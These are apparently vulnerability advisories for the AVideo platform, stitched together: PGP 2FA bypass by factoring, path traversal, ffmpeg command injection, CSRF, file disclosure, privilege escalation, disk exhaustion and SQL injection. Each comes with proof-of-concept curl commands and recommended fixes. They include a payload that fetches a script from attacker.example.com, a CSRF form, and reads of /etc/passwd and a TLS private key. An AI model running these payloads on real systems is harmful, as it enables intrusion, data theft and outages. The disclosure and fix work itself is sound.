bash Extract the modulus from the PGP public key echo "$PUBLICKEYARMOR" | gpg --import 2>/dev/null gpg --list-keys --with-key-data | grep '^pub' Or use Python: python3 -c " from Crypto.PublicKey import RSA Parse the PGP key and extract RSA modulus N N will be a ~155-digit number (512 bits) print(f'N = {key.n}') "
Step 3: Factor the 512-bit modulus
bash Using CADO-NFS (typically completes in 2-8 hours on a modern desktop) cado-nfs.py <modulusdecimal> Or using msieve: msieve -v <modulusdecimal> Output: p = <factor1>, q = <factor2>
Step 4: Reconstruct the private key and decrypt the 2FA challenge
python from Crypto.PublicKey import RSA from Crypto.Util.number import inverse
From factoring step p = <factor1> q = <factor2> n = p q e = 65537 d = inverse(e, (p-1)(q-1))
Reconstruct private key privkey = RSA.construct((n, e, d, p, q))
Decrypt the PGP-encrypted challenge from the login page and submit the plaintext to verifyChallenge.json.php
Step 5: Submit decrypted challenge to bypass 2FA
bash curl -b "sessioncookie" \ "https://target/plugin/LoginControl/pgp/verifyChallenge.json.php" \ -d "response=<decrypteduniqidvalue>" Expected: {"error":false,"msg":"","response":"<value>"}
Unauthenticated endpoint abuse:
bash No authentication required — CPU-intensive 512-bit RSA keygen curl "https://target/plugin/LoginControl/pgp/generateKeys.json.php?keyPassword=test&keyName=test&keyEmail=test@test.com" Returns: {"error":false,"public":"-----BEGIN PGP PUBLIC KEY BLOCK-----...","private":"-----BEGIN PGP PRIVATE KEY BLOCK-----..."}
Impact
- 2FA Bypass: Any user who enabled PGP 2FA using the built-in key generator has their second factor effectively nullified. An attacker with knowledge of the password (phishing, credential stuffing, breach reuse) can bypass the 2FA protection entirely. - Account Takeover: Combined with any credential compromise, this enables full account takeover of 2FA-protected accounts. - Denial of Service: The unauthenticated generateKeys.json.php endpoint allows anonymous users to trigger CPU-intensive RSA key generation operations with no rate limiting. - Scope: All users who enabled PGP 2FA using the application's built-in key generator are affected. Users who imported their own externally-generated keys with adequate key sizes (2048+ bits) are not affected by the key weakness, but the unauthenticated endpoints affect all deployments with the LoginControl plugin.
Recommended Fix
1. Increase RSA key size to 2048 bits minimum (plugin/LoginControl/pgp/functions.php:26):
php // Before: $privateKey = RSA::createKey(512);
// After: $privateKey = RSA::createKey(2048);
2. Add authentication to generateKeys.json.php (match the pattern used in decryptMessage.json.php):
php <?php requireonce '../../../videos/configuration.php'; requireonce '../../../plugin/LoginControl/pgp/functions.php'; header('Content-Type: application/json');
$obj = new stdClass(); $obj->error = true;
$plugin = AVideoPlugin::loadPluginIfEnabled('LoginControl');
if (!User::isLogged()) { $obj->msg = "Authentication required"; die(jsonencode($obj)); } // ... rest of existing code
3. Add authentication to encryptMessage.json.php (same pattern):
php <?php requireonce '../../../videos/configuration.php'; requireonce '../../../plugin/LoginControl/pgp/functions.php'; // Add auth check before processing if (!User::isLogged()) { $obj->msg = 'Authentication required'; die(jsonencode($obj)); }
4. Add minimum key size validation in savePublicKey.json.php to reject weak keys regardless of how they were generated:
php // After line 26, before saving: $keyData = OpenPGPMessage::parse(OpenPGP::unarmor($REQUEST['publicKey'], 'PGP PUBLIC KEY BLOCK')); if ($keyData && $keyData[0] instanceof OpenPGPPublicKeyPacket) { $bitLength = strlen($keyData[0]->key['n']) 8; if ($bitLength < 2048) { $obj->msg = "Key size too small. Minimum 2048 bits required."; die(jsonencode($obj)); } }
Summary
The objects/import.json.php endpoint accepts a user-controlled fileURI POST parameter with only a regex check that the value ends in .mp4. Unlike objects/listFiles.json.php, which was hardened with a realpath() + directory prefix check to restrict paths to the videos/ directory, import.json.php performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read .txt/.html/.htm files adjacent to any .mp4 file on the filesystem, and (3) delete .mp4 and adjacent text files if writable by the web server process.
Details
Missing path restriction in import.json.php
At objects/import.json.php:12, the only validation on the user-supplied fileURI is a regex ensuring it ends with .mp4:
php // objects/import.json.php:12 if (!pregmatch("/.\\.mp4$/i", $POST['fileURI'])) { return false; }
Compare this to the hardened listFiles.json.php:16-28, which was patched to restrict paths:
php // objects/listFiles.json.php:16-28 $allowedBase = realpath($global['systemRootPath'] . 'videos'); // ... $resolvedPath = realpath($POST['path']); if ($resolvedPath === false || strpos($resolvedPath . '/', $allowedBase) !== 0) { httpresponsecode(403); echo jsonencode(['error' => 'Path not allowed']); exit; }
The same fix was never applied to import.json.php.
Attack Primitive 1: File content disclosure (.txt/.html/.htm)
At lines 23-43, the endpoint strips the .mp4 extension from fileURI and attempts to read adjacent .txt, .html, or .htm files via filegetcontents():
php // objects/import.json.php:23-43 $filename = $obj->fileURI['dirname'] . DIRECTORYSEPARATOR . $obj->fileURI['filename']; $extensions = ['txt', 'html', 'htm']; foreach ($extensions as $value) { if (fileexists("{$filename}.{$value}")) { $html = filegetcontents("{$filename}.{$value}"); $POST['description'] = $html; // ... break; } }
The content flows into $POST['description'], which is then saved as the video description by upload.php:59-64:
php // view/mini-upload-form/upload.php:59-64 if (!empty($POST['description'])) { // ... $video->setDescription($POST['description']); }
The attacker then views the imported video to read the file contents in the description field. This works for any path where both a .mp4 file and an adjacent .txt/.html/.htm file exist — which is the standard layout for every video in the videos/ directory.
Attack Primitive 2: Private video theft
At line 49, the endpoint copies the .mp4 file to a temp directory and then imports it as the current user's video:
php // objects/import.json.php:47-49 $source = $obj->fileURI['dirname'] . DIRECTORYSEPARATOR . $obj->fileURI['basename']; if (!copy($source, $tmpFileName)) { // ... }
An attacker who knows or can enumerate another user's video filename can copy any private .mp4 file into their own account.
Attack Primitive 3: File deletion
At lines 54-65, when $POST['delete'] is set, the endpoint deletes the source .mp4 and adjacent text files:
php // objects/import.json.php:54-61 if (!empty($POST['delete']) && $POST['delete'] !== 'false') { if (iswritable($source)) { unlink($source); foreach ($extensions as $value) { if (fileexists("{$filename}.{$value}")) { unlink("{$filename}.{$value}"); } } } }
PoC
Step 1: Steal a private video
Assuming the attacker knows another user's video filename (e.g., victimvideoabc123), which can be enumerated via the platform UI or API:
bash curl -b 'PHPSESSID=<authenticatedsessionwithuploadperm>' \ -X POST 'https://target/objects/import.json.php' \ -d 'fileURI=/var/www/html/AVideo/videos/victimvideoabc123/victimvideoabc123.mp4'
Expected result: The response returns {"error":false, "videosid": <newid>, ...}. The victim's private .mp4 is now imported as the attacker's own video at the returned videosid.
Step 2: Read another user's video description file
bash curl -b 'PHPSESSID=<authenticatedsessionwithuploadperm>' \ -X POST 'https://target/objects/import.json.php' \ -d 'fileURI=/var/www/html/AVideo/videos/victimvideoabc123/victimvideoabc123.mp4&length=100'
Expected result: If victimvideoabc123.txt (or .html/.htm) exists alongside the .mp4, its contents are stored as the description of the newly created video. The attacker views the video page to read the exfiltrated content.
Step 3: Delete another user's video
bash curl -b 'PHPSESSID=<authenticatedsessionwithuploadperm>' \ -X POST 'https://target/objects/import.json.php' \ -d 'fileURI=/var/www/html/AVideo/videos/victimvideoabc123/victimvideoabc123.mp4&delete=true'
Expected result: The victim's .mp4 file and any adjacent .txt/.html/.htm files are deleted (if writable by the web server process).
Impact
- Private video theft: Any authenticated user with upload permission can import another user's private videos into their own account, bypassing all access controls. This directly compromises video content confidentiality. - File content disclosure: .txt, .html, and .htm files adjacent to any .mp4 on the filesystem can be read by the attacker. Within the AVideo videos/ directory, these are video description files that may contain private information. - File deletion: An attacker can delete other users' video files and metadata, causing data loss. - Blast radius: All private videos on the instance are accessible to any user with upload permission. In default AVideo configurations, registered users can upload.
Recommended Fix
Apply the same realpath() + directory prefix check from listFiles.json.php to import.json.php, immediately after the .mp4 regex check:
php // objects/import.json.php — add after line 14 (the pregmatch check) $allowedBase = realpath($global['systemRootPath'] . 'videos'); if ($allowedBase === false) { die(jsonencode(['error' => 'Configuration error'])); } $allowedBase .= '/';
$resolvedDir = realpath(dirname($POST['fileURI'])); if ($resolvedDir === false || strpos($resolvedDir . '/', $allowedBase) !== 0) { httpresponsecode(403); die(jsonencode(['error' => 'Path not allowed'])); } // Reconstruct fileURI from resolved path to prevent symlink bypass $POST['fileURI'] = $resolvedDir . '/' . basename($POST['fileURI']);
Summary
The sanitizeFFmpegCommand() function in plugin/API/standAlone/functions.php is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (&&, ;, |, , <, >). However, it fails to strip $() (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted sh -c context in execAsync(), an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server.
Details
Vulnerable sanitization function (plugin/API/standAlone/functions.php:59-82):
php function sanitizeFFmpegCommand($command) { $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg']; // Remove dangerous characters $command = strreplace('&&', '', $command); $command = pregreplace('/\s&?>.(?:2>&1)?/', '', $command); $command = pregreplace('/[;|<>]/', '', $command); // Missing: $ ( ) \n // Ensure it starts with an allowed prefix foreach ($allowedPrefixes as $prefix) { if (strpos(trim($command), $prefix) === 0) { return $command; } } return ''; }
The character class [;|<>] on line 70 does not include $, (, ), or \n. This means $(...) command substitution passes through completely unmodified.
Execution sink (objects/functionsExec.php:656-658):
php $commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &";
The addcslashes($command, '"') call at line 639 only escapes double-quote characters. The $() construct is preserved intact and interpreted by sh as command substitution within the double-quoted string.
Execution flow: 1. Attacker sends codeToExecEncrypted parameter to plugin/API/standAlone/ffmpeg.json.php 2. Standalone encoder calls main server's unauthenticated decryptString API to decrypt 3. Decrypted ffmpegCommand passes through sanitizeFFmpegCommand() — $() is NOT stripped 4. Command passes prefix check (starts with ffmpeg) 5. execAsync() wraps it in sh -c "..." — $() is evaluated as command substitution
Auth barrier analysis: - Requires a valid AES-256-CBC encrypted JSON payload with a timestamp within 30 seconds - Key is sha256(saltV2) on the main server; saltV2 is generated by randombytes(16) — cryptographically strong - IV is substr(sha256(systemRootPath), 0, 16) — predictable but insufficient alone - On legacy installations without saltV2, falls back to $global['salt'] which may be weaker - The decryptString API endpoint (API.php:5963) is unauthenticated, enabling probing but not payload crafting
PoC
Assuming the attacker has obtained the encryption key (e.g., from a leaked configuration file, a legacy installation with a weak salt, or via a separate vulnerability):
bash Step 1: Craft the malicious ffmpeg command $() passes sanitization; curl -o avoids needing > which would be stripped MALICIOUSCMD='ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4'
Step 2: Build the JSON payload PAYLOAD="{\"ffmpegCommand\":\"$MALICIOUSCMD\",\"keyword\":\"test\",\"time\":$(date +%s)}"
Step 3: Encrypt the payload (requires knowledge of salt and systemRootPath) KEY = sha256(saltV2) IV = substr(sha256(systemRootPath), 0, 16) ENCRYPTED=$(php -r " \$salt = 'KNOWNSALTV2'; \$ivsource = '/var/www/html/AVideo/'; \$key = hash('sha256', \$salt); \$iv = substr(hash('sha256', \$ivsource), 0, 16); echo base64encode(opensslencrypt('$PAYLOAD', 'AES-256-CBC', \$key, 0, \$iv)); ")
Step 4: Send to standalone encoder curl "http://standalone-encoder.example.com/plugin/API/standAlone/ffmpeg.json.php?codeToExecEncrypted=$(python3 -c 'import urllib.parse; print(urllib.parse.quote(\"'$ENCRYPTED'\"))')"
Result: The standalone encoder executes: sh -c "ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4 ..." The $(curl ...) is evaluated BEFORE ffmpeg runs, downloading the attacker's script
Sanitization trace for the payload: - strreplace('&&', '', ...) → no && present, passes - pregreplace('/\s&?>.(?:2>&1)?/', '', ...) → no > outside $(), passes - pregreplace('/[;|<>]/', '', ...) → no ;|<> present, passes - Prefix check → starts with ffmpeg, passes - addcslashes($command, '"') → no " in payload, $() untouched
Impact
- Remote Code Execution: Full arbitrary command execution on the standalone encoder server with the privileges of the web server process - Lateral Movement: Standalone encoders typically have network access to the main AVideo server, enabling further attacks - Data Exfiltration: Access to all video files, configuration, and credentials stored on the encoder - Service Disruption: Attacker can terminate encoding processes or consume system resources
The attack complexity is High due to the encryption key requirement, but the impact is Critical once the barrier is bypassed. Legacy installations without saltV2 are at significantly higher risk.
Recommended Fix
Replace the denylist-based sanitization with proper argument escaping:
php function sanitizeFFmpegCommand($command) { $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];
// Verify it starts with an allowed prefix $trimmed = trim($command); $validPrefix = false; foreach ($allowedPrefixes as $prefix) { if (strpos($trimmed, $prefix) === 0) { $validPrefix = true; break; } } if (!$validPrefix) { errorlog("Sanitization failed: Command does not start with an allowed prefix"); return ''; }
// Strip ALL shell metacharacters, including command substitution // This covers: ; | < > $ ( ) { } \n \r $command = pregreplace('/[;|<>$(){}\\\\]/', '', $command); $command = strreplace('&&', '', $command); $command = pregreplace('/[\n\r]/', '', $command); $command = pregreplace('/\s&?>.(?:2>&1)?/', '', $command);
errorlog("Command sanitized successfully"); return $command; }
Better long-term fix: Instead of sanitizing a complete shell command string, parse the ffmpeg arguments and use escapeshellarg() on each individual argument before reassembling the command. This eliminates the need for a denylist entirely.
Summary
AVideo's admin plugin configuration endpoint (admin/save.json.php) lacks any CSRF token validation. There is no call to isGlobalTokenValid() or verifyToken() before processing the request. Combined with the application's explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator's session.
Because the plugins table is included in the ignoreTableSecurityCheck() array in objects/Object.php, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more.
Details
The session cookie configuration in objects/includeconfig.php at line 135 explicitly weakens the default browser protections:
php // objects/includeconfig.php:135 iniset('session.cookiesamesite', 'None');
This means cookies are attached to all cross-origin requests, making CSRF attacks trivial.
The save endpoint in admin/save.json.php directly processes POST data without any token verification:
php // admin/save.json.php $pluginName = $POST['pluginName']; $pluginValues = $POST; // ... $pluginDO->$key = $pluginValues[$key]; $p->setObjectdata(jsonencode($pluginDO)); $p->save();
The plugins table is explicitly exempted from security checks in objects/Object.php at line 529:
php // objects/Object.php:529 static function ignoreTableSecurityCheck() { return ['plugins', / ... other tables ... /]; }
Even the ORM-level protections that exist for other tables do not apply to plugin configuration writes.
Proof of Concept
Host the following HTML on an attacker-controlled domain. When a logged-in AVideo administrator visits this page, their PayPal receiver email is silently changed to the attacker's address:
html <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php"> <input type="hidden" name="pluginName" value="PayPerView" /> <input type="hidden" name="paypalReceiverEmail" value="attacker@evil.com" /> </form> <script> document.getElementById('csrf').submit(); </script> </body> </html>
To overwrite S3 storage credentials instead:
html <form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php"> <input type="hidden" name="pluginName" value="AWSS3" /> <input type="hidden" name="region" value="us-east-1" /> <input type="hidden" name="bucket" value="attacker-bucket" /> <input type="hidden" name="key" value="ATTACKERKEYID" /> <input type="hidden" name="secret" value="ATTACKERSECRET" /> </form>
Reproduction steps:
1. Log in to AVideo as an administrator. 2. In a separate browser tab, open the attacker's HTML page. 3. The form auto-submits, overwriting the target plugin configuration. 4. Verify the change by navigating to the plugin settings page in the admin panel.
Impact
An attacker can silently reconfigure any plugin on the AVideo platform by tricking an administrator into visiting a malicious page. Exploitable configurations include:
- Payment hijacking: Change PayPal receiver email or Stripe keys to redirect all payments to the attacker. - Credential theft: Replace S3 bucket credentials so uploaded media is sent to attacker-controlled storage. - Authentication bypass: Modify LDAP/OAuth plugin settings to point at attacker-controlled identity providers. - Backdoor installation: Enable and configure plugins to introduce persistent access.
This is a full platform takeover with zero user interaction beyond a single page visit.
- CWE: CWE-352 (Cross-Site Request Forgery)
Recommended Fix
Add CSRF token validation at admin/save.json.php:10, immediately after the admin check:
php // admin/save.json.php:10 if (!isGlobalTokenValid()) { die('{"error":"Invalid CSRF token"}'); }
--- Found by aisafe.io
Summary POST /objects/aVideoEncoder.json.php accepts a requester-controlled chunkFile parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass isValidURLOrPath(). That helper allows files under broad server directories including /var/www/, the application root, cache, tmp, and videos, only rejecting .php files.
For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP.
I confirmed this locally by creating an attacker-owned video, then calling aVideoEncoder.json.php with videosid=<own video>, format=mp4, and chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem. The resulting public video URL returned the local TLS private key and began with -----BEGIN PRIVATE KEY-----.
Affected Versions / Commit Tested on local Docker deployment from commit db12d4c0141d40bfabd1e82577e8c4a3d044cd84. The application reported version 26.0.
Preconditions - Authenticated account with upload permission. - Attacker owns at least one editable video record. - Target local file is readable by the web application user.
Steps to Reproduce 1. Log in as an upload-capable low-privileged user. 2. Create any attacker-owned video via the normal upload endpoint to obtain videosid and filename. 3. Send a POST request to aVideoEncoder.json.php with the attacker's own videosid, an allowed format, and a server-local chunkFile path. 4. Download the resulting media object from /videos/<filename>/<filename>.mp4.
Proof of Concept The included poc.py automates the exploit against the local instance.
Manual reproduction:
bash 1. Login as low-priv uploader curl -s -c attacker.cookies \ -d 'user=attacker&pass=UserPass123!' \ http://127.0.0.1/objects/login.json.php >/dev/null
2. Create an attacker-owned video printf 'x' > poc.mp4 curl -s -b attacker.cookies \ -F 'upl=@poc.mp4;type=video/mp4' \ http://127.0.0.1/view/mini-upload-form/upload.php
Example response: {"error":false,"title":"poc","filename":"poc69bb86db62c308.68438735","videosid":4,...}
3. Copy a local file into the attacker's public video path curl -s -b attacker.cookies \ -d 'videosid=4&format=mp4&title=poc&description=test&chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem' \ http://127.0.0.1/objects/aVideoEncoder.json.php
4. Retrieve the copied file over HTTP curl -s \ http://127.0.0.1/videos/poc69bb86db62c308.68438735/poc69bb86db62c308.68438735.mp4 | head
Observed Result The final GET returned the contents of the local TLS private key:
text -----BEGIN PRIVATE KEY----- MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ...
Summary
A user with the "Videos Moderator" permission can escalate privileges to perform full video management operations — including ownership transfer and deletion of any video — despite the permission being documented as only allowing video publicity changes (Active, Inactive, Unlisted). The root cause is that Permissions::canModerateVideos() is used as an authorization gate for full video editing in videoAddNew.json.php, while videoDelete.json.php only checks ownership, creating an asymmetric authorization boundary exploitable via a two-step ownership-transfer-then-delete chain.
Details
The PERMISSIONINACTIVATEVIDEOS (ID 11) permission is described as a limited moderator role in plugin/Permissions/Permissions.php:213:
php $permissions[] = new PluginPermissionOption( Permissions::PERMISSIONINACTIVATEVIDEOS, ('Videos Moderator'), ('This is a level below the (Videos Admin), this type of user can change the video publicity (Active, Inactive, Unlisted)'), 'Permissions' );
However, Permissions::canModerateVideos() (Permissions.php:175) is reused as an authorization gate in multiple locations in videoAddNew.json.php that go far beyond status changes:
1. Upload gate bypass (videoAddNew.json.php:10): User::canUpload() (user.php:2650) returns true if Permissions::canModerateVideos() is true, granting moderators upload access.
2. Edit gate bypass (videoAddNew.json.php:19): php if (!Video::canEdit($POST['id']) && !Permissions::canModerateVideos()) { die('{"error":"2 ' . ("Permission denied") . '"}'); } Video::canEdit() correctly checks only canAdminVideos() and ownership, but the || !Permissions::canModerateVideos() fallback allows moderators to edit any video.
3. Ownership transfer (videoAddNew.json.php:222): php if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || Usersaffiliations::isUserAffiliateOrCompanyToEachOther($obj->getUsersid(), $POST['usersid'])) { $obj->setUsersid($POST['usersid']); } userCanChangeVideoOwner defaults to false (CustomizeUser.php:286), but canModerateVideos() provides an unconditional bypass, allowing any moderator to reassign ownership of any video.
4. Delete via ownership (videoDelete.json.php:22-28): php if(empty($video->getUsersid()) || $video->getUsersid() != User::getId()){ if (!$video->userCanManageVideo()) { // denied } } $id = $video->delete(); userCanManageVideo() (video.php:3614) checks canAdminVideos() (not canModerateVideos()), then falls back to ownership. After the ownership transfer in step 3, the moderator is now the owner, so this check passes.
The authorization asymmetry: videoAddNew.json.php treats canModerateVideos() as equivalent to canAdminVideos(), but videoDelete.json.php and userCanManageVideo() do not — creating a gap exploitable by transferring ownership first.
Additional fields a moderator can modify beyond their intended scope: - onlyforpaid (line 210) — make premium content free - videopassword (line 211) — change/remove password protection - categoriesid (line 168) — alter content categorization - videoGroups (line 175) — modify user group visibility
PoC
Prerequisites: An account with the "Videos Moderator" permission (PERMISSIONINACTIVATEVIDEOS = 11) and a target video ID owned by another user.
Step 1: Transfer ownership of target video to attacker
bash ATTACKERUSERID = moderator's user ID TARGETVIDEOID = ID of video owned by another user (e.g., admin) curl -s -b cookies.txt -X POST \ 'http://localhost/objects/videoAddNew.json.php' \ -d "id=TARGETVIDEOID&usersid=ATTACKERUSERID&title=unchanged"
Expected response: {"status":true, ...} — ownership is now transferred to the attacker.
Step 2: Delete the video (now owned by attacker)
bash curl -s -b cookies.txt -X POST \ 'http://localhost/objects/videoDelete.json.php' \ -d "id[]=TARGETVIDEOID"
Expected response: {"error":false, ...} — video is deleted. The owner check at line 22 passes because the moderator is now the recorded owner.
Step 3 (additional impact): Access password-protected video
bash curl -s -b cookies.txt -X POST \ 'http://localhost/objects/videoAddNew.json.php' \ -d "id=TARGETVIDEOID&videopassword=&title=unchanged"
This removes the video password, granting the moderator (and everyone) access to previously protected content.
Impact
- Arbitrary video deletion: A Videos Moderator can delete any video on the platform, including admin-owned content, by first transferring ownership to themselves then deleting. - Content tampering: Moderator can change paid content flags (onlyforpaid), video passwords, categories, and user group visibility on any video — all exceeding the documented scope of "change video publicity." - Access control bypass: Password-protected videos can have their passwords removed, exposing restricted content. - Integrity loss: Video ownership records are corrupted, making audit trails unreliable. - Availability impact: Targeted deletion of high-value content with no authorization check appropriate to the destructive action.
The blast radius is any video on the platform. Any user granted the "Videos Moderator" role — which administrators may grant freely assuming it only allows status changes — gains effective full video management capabilities.
Recommended Fix
Replace Permissions::canModerateVideos() with Permissions::canAdminVideos() in videoAddNew.json.php where full edit capabilities are granted. Keep canModerateVideos() only for the specific status/publicity change operations it was designed for.
Fix for ownership transfer (videoAddNew.json.php:222): php // Before (vulnerable): if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || ...
// After (fixed): if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canAdminVideos() || ...
Fix for edit gate (videoAddNew.json.php:19): php // Before (vulnerable): if (!Video::canEdit($POST['id']) && !Permissions::canModerateVideos()) {
// After (fixed): if (!Video::canEdit($POST['id']) && !Permissions::canAdminVideos()) {
Then create a separate, narrower code path for moderators that only allows changing video status/publicity fields. Alternatively, refactor videoAddNew.json.php to check canModerateVideos() only around the specific status-change logic (lines 238-248) and require canAdminVideos() for all other fields.
Summary
objects/aVideoEncoderReceiveImage.json.php allowed an authenticated uploader to fetch attacker-controlled same-origin /videos/... URLs, bypass traversal scrubbing, and expose server-local files through the GIF poster storage path.
The vulnerable GIF branch could be abused to read local files such as /etc/passwd or application source files and republish those bytes through a normal public GIF media URL.
Details
The vulnerable chain was:
1. objects/aVideoEncoderReceiveImage.json.php accepted attacker-controlled downloadURLgifimage 2. traversal scrubbing used strreplace('../', '', ...), which was bypassable with overlapping input such as ....// 3. same-origin /videos/... URLs were accepted 4. urlgetcontents() and trygetcontentsfromlocal() resolved the request into a local filesystem read 5. the fetched bytes were written into the GIF destination 6. invalid GIF cleanup used the wrong variable, so the non-image payload remained on disk
This made the GIF poster path a local file disclosure primitive with public retrieval.
Proof of concept
1. Log in as an uploader and create an owned video row through the normal encoder flow. 2. Send:
text POST /objects/aVideoEncoderReceiveImage.json.php downloadURLgifimage=https://localhost/videos/....//....//....//....//....//....//etc/passwd
3. Query:
text GET /objects/videos.json.php?showAll=1
4. Recover the generated GIF URL from videosURL.gif.url. 5. Download that GIF URL. 6. Observe that the body matches the target local file, such as /etc/passwd, byte-for-byte.
Impact
An authenticated uploader can read server-local files and republish them through a public GIF media URL by supplying a crafted same-origin /videos/... path to downloadURLgifimage. Because traversal scrubbing was bypassable and the fetched bytes were written to the GIF destination without effective invalid-image cleanup, successful exploitation allows disclosure of files such as /etc/passwd, readable application source code, or deployment-specific configuration accessible to the application.
Recommended fix
- Reject any remote image URL whose decoded path contains traversal markers - Do not allow attacker-controlled same-origin /videos/... fetches to resolve into local file reads - Constrain any local shortcut path handling with realpath() and strict base-directory allowlists - Validate GIF content before saving it into public media storage - Ensure invalid-image cleanup checks the correct destination path
Summary
The aVideoEncoderChunk.json.php endpoint is a completely standalone PHP script with no authentication, no framework includes, and no resource limits. An unauthenticated remote attacker can send arbitrary POST data which is written to persistent temp files in /tmp/ with no size cap, no rate limiting, and no cleanup mechanism. This allows trivial disk space exhaustion leading to denial of service of the entire server.
Details
The file objects/aVideoEncoderChunk.json.php (25 lines total) operates entirely outside the AVideo framework:
php // objects/aVideoEncoderChunk.json.php — full file <?php header('Access-Control-Allow-Origin: '); // Line 2: CORS wildcard header('Content-Type: application/json'); $obj = new stdClass(); $obj->file = tempnam(sysgettempdir(), 'YTPChunk'); // Line 5: creates /tmp/YTPChunkXXXXXX
$putdata = fopen("php://input", "r"); // Line 7: reads raw POST body $fp = fopen($obj->file, "w");
while ($data = fread($putdata, 1024 1024)) { // Line 12: 1MB chunks, no limit fwrite($fp, $data); }
fclose($fp); fclose($putdata); sleep(1); $obj->filesize = filesize($obj->file);
$json = jsonencode($obj); die($json); // Line 25: returns {"file":"/tmp/YTPChunkabc123","filesize":104857600}
The vulnerability chain:
1. No authentication: The script includes no session handling, no requireonce of the framework, no useVideoHashOrLogin(), no canUpload() — nothing. Compare with aVideoEncoder.json.php which includes configuration.php and calls authentication functions.
2. No size limits: php://input is read until exhaustion. The effective limit is PHP's postmaxsize, which AVideo's .htaccess has commented-out settings for 4GB (#phpvalue postmaxsize 4G at line 536). Default AVideo installations recommend at least 100MB.
3. No cleanup: A grep for YTPChunk across the entire codebase returns only the chunk file itself. No cron job, no garbage collection, no consumer that deletes files after processing. The temp files persist until the server is manually cleaned.
4. Path disclosure: The response JSON includes the full filesystem temp path (e.g., /tmp/YTPChunkabc123), revealing server directory structure.
5. CORS wildcard: Access-Control-Allow-Origin: on line 2 means any malicious webpage can trigger this attack via the visitor's browser, potentially distributing the attack across many source IPs.
6. Public routing: .htaccess line 437 rewrites /aVideoEncoderChunk.json to this file, making it accessible at a clean URL.
PoC
Step 1: Confirm endpoint is accessible and unauthenticated bash curl -s -X POST https://target/aVideoEncoderChunk.json \ -H 'Content-Type: application/octet-stream' \ --data-binary 'test' Expected output: json {"file":"/tmp/YTPChunkXXXXXX","filesize":4}
Step 2: Write a large temp file (100MB) bash dd if=/dev/zero bs=1M count=100 2>/dev/null | \ curl -s -X POST https://target/aVideoEncoderChunk.json \ -H 'Content-Type: application/octet-stream' \ --data-binary @- Expected output: json {"file":"/tmp/YTPChunkYYYYYY","filesize":104857600}
Step 3: Parallel disk exhaustion (10 concurrent 100MB requests = 1GB) bash for i in $(seq 1 10); do dd if=/dev/zero bs=1M count=100 2>/dev/null | \ curl -s -X POST https://target/aVideoEncoderChunk.json \ -H 'Content-Type: application/octet-stream' \ --data-binary @- & done wait
Step 4: Verify files persist (they are never cleaned up) bash On the server: ls -la /tmp/YTPChunk All files remain indefinitely
Impact
- Denial of Service: Filling /tmp/ causes cascading failures — PHP session handling breaks, MySQL temp tables fail, and system services relying on tmpfs crash. This can take down the entire server, not just AVideo. - No authentication barrier: Any anonymous internet user can trigger this attack. - Cross-origin exploitation: The CORS wildcard header allows any malicious website to use visitors' browsers as distributed attack proxies, bypassing IP-based rate limiting at the network level. - Information disclosure: The temp file path in the response reveals the server's filesystem layout. - Persistence: Created files are never cleaned up, so even a brief attack has lasting impact until manual intervention.
Recommended Fix
Replace objects/aVideoEncoderChunk.json.php with a version that includes authentication, size limits, and cleanup:
php <?php if (empty($global)) { $global = []; } requireonce '../videos/configuration.php';
header('Content-Type: application/json'); allowOrigin(); // Use AVideo's configured CORS instead of wildcard
// Require authentication $userObj = new User(0); if (!User::canUpload()) { httpresponsecode(403); die(jsonencode(['error' => true, 'msg' => 'Not authorized'])); }
// Enforce size limit (e.g., 200MB) $maxSize = 200 1024 1024; $contentLength = isset($SERVER['CONTENTLENGTH']) ? (int)$SERVER['CONTENTLENGTH'] : 0; if ($contentLength > $maxSize) { httpresponsecode(413); die(jsonencode(['error' => true, 'msg' => 'Payload too large'])); }
$obj = new stdClass(); $obj->file = tempnam(sysgettempdir(), 'YTPChunk');
$putdata = fopen("php://input", "r"); $fp = fopen($obj->file, "w"); $written = 0;
while ($data = fread($putdata, 1024 1024)) { $written += strlen($data); if ($written > $maxSize) { fclose($fp); fclose($putdata); unlink($obj->file); httpresponsecode(413); die(jsonencode(['error' => true, 'msg' => 'Payload too large'])); } fwrite($fp, $data); }
fclose($fp); fclose($putdata);
$obj->filesize = filesize($obj->file); // Do not expose full filesystem path $obj->file = basename($obj->file);
die(jsonencode($obj));
Additionally, add a cleanup cron job or garbage collection to remove YTPChunk files older than a configurable timeout (e.g., 1 hour).
Summary
The RTMP onpublish callback at plugin/Live/onpublish.php is accessible without authentication. The $POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.
Details
Entry point: plugin/Live/onpublish.php — no authentication, no IP allowlist, no origin verification.
